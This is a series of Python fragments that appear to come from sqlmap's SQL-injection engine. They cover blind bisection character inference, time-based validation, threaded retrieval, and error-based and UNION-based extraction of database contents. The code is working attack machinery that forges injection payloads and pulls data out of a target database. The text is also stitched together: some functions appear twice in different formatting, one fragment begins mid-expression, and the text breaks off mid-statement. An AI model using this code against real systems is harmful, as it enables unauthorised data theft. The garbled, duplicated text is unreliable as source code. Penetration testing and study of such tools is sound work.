timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _(column, pivotValue): if column == colList[0]: query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False)) else: query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False)) query = agent.whereQuery(query) return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar( idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay ) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None
def _oneShotErrorUse(expression, field=None): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if Backend.isDbms(DBMS.MYSQL): chunk_length = MYSQL_ERROR_CHUNK_LENGTH elif Backend.isDbms(DBMS.MSSQL): chunk_length = MSSQL_ERROR_CHUNK_LENGTH else: chunk_length = None if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>.*?)</" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any( _ in field for _ in ("COUNT", "CASE") ): # skip chunking of scalar expression (unneeded) extendedField = re.search( r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace( field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms( )].substring.query % (nulledCastedField, offset, chunk_length) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue(headers.headers \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if any( Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and len(output) >= chunk_length: offset += chunk_length else: break if kb.fileReadMode and output: dataToStdout( _formatPartialContent(output).replace( r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted threadData = getCurrentThreadData() threadData.resumed = retVal is not None if retVal is None: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector if not any((kb.rowXmlMode, kb.jsonAggMode)): injExpression = unescaper.escape(agent.concatQuery(expression, unpack)) kb.unionDuplicates = vector[7] kb.forcePartialUnion = vector[8] # Note: introduced columns in 1.4.2.42#dev try: kb.tableFrom = vector[9] kb.unionTemplate = vector[10] except IndexError: pass query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: where = vector[6] query = agent.forgeUnionQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) payload = agent.payload(newValue=query, where=where) # Perform the request page, headers, _ = Request.queryPage(payload, content=True, raise404=False) incrementCounter(PAYLOAD.TECHNIQUE.UNION) if kb.rowXmlMode: output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page or "") if output: try: root = xml.etree.ElementTree.fromstring(safeStringFormat("<root>%s</root>", getBytes(output))) retVal = "" for column in kb.dumpColumns: base64 = True for child in root: value = child.attrib.get(column, "").strip() if value and not re.match(r"\A[a-zA-Z0-9+/]+={0,2}\Z", value): base64 = False break try: decodeBase64(value) except (binascii.Error, TypeError): base64 = False break if base64: for child in root: child.attrib[column] = decodeBase64(child.attrib.get(column, ""), binary=False) or NULL for child in root: row = [] for column in kb.dumpColumns: row.append(child.attrib.get(column, NULL)) retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(row), kb.chars.stop) except: pass else: retVal = getUnicode(retVal) elif kb.jsonAggMode: output = extractRegexResult(r"(?P<result>%s.*?%s)" % (kb.chars.start, kb.chars.stop), page or "") if output: try: retVal = "" for row in json.loads(output[len(kb.chars.start):-len(kb.chars.stop)]): retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: pass else: retVal = getUnicode(retVal) else: # Parse the returned page to get the exact UNION-based # SQL injection output def _(regex): return firstNotNone( extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE) ) # Automatically patching last char trimming cases if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""): warnMsg = "automatically patching output having last char trimmed" singleTimeWarnMessage(warnMsg) page = page.replace(kb.chars.stop[:-1], kb.chars.stop) retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop)) if retVal is not None: retVal = getUnicode(retVal, kb.pageEncoding) # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): retVal = htmlUnescape(retVal).replace("<br>", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) elif not any((kb.rowXmlMode, kb.jsonAggMode)): trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start)) if trimmed: warnMsg = "possible server trimmed output detected " warnMsg += "(probably due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) elif re.search(r"ORDER BY [^ ]+\Z", expression): debugMsg = "retrying failed SQL query without the ORDER BY clause" singleTimeDebugMessage(debugMsg) expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression) retVal = _oneShotUnionUse(expression, unpack, limited) else: vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector kb.unionDuplicates = vector[7] return retVal
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection on an affected host """ abortedFlag = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode( partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # Set kb.partRun in case "common prediction" feature (a.k.a. "good # samaritan") is used or the engine is called from the API if conf.predictOutput: kb.partRun = getPartRun() elif hasattr(conf, "api"): kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif dump and conf.firstChar is not None and (isinstance( conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance( firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance( conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance( lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance( length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar( idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay ) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData = getCurrentThreadData() threadData.shared.value = [None] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[ i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and ( endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in ( 1, 2) and not showEta and not hasattr( conf, "api"): _ = count - firstChar output += '_' * ( min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % ( _, length, round(100.0 * _ / length)) output += status if _ != length else " " * len( status) dataToStdout( "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr( conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len( partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan( partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape( "'%s'" % commonValue ) if "'" not in commonValue else unescaper.escape( "%s" % commonValue, quote=False) query = 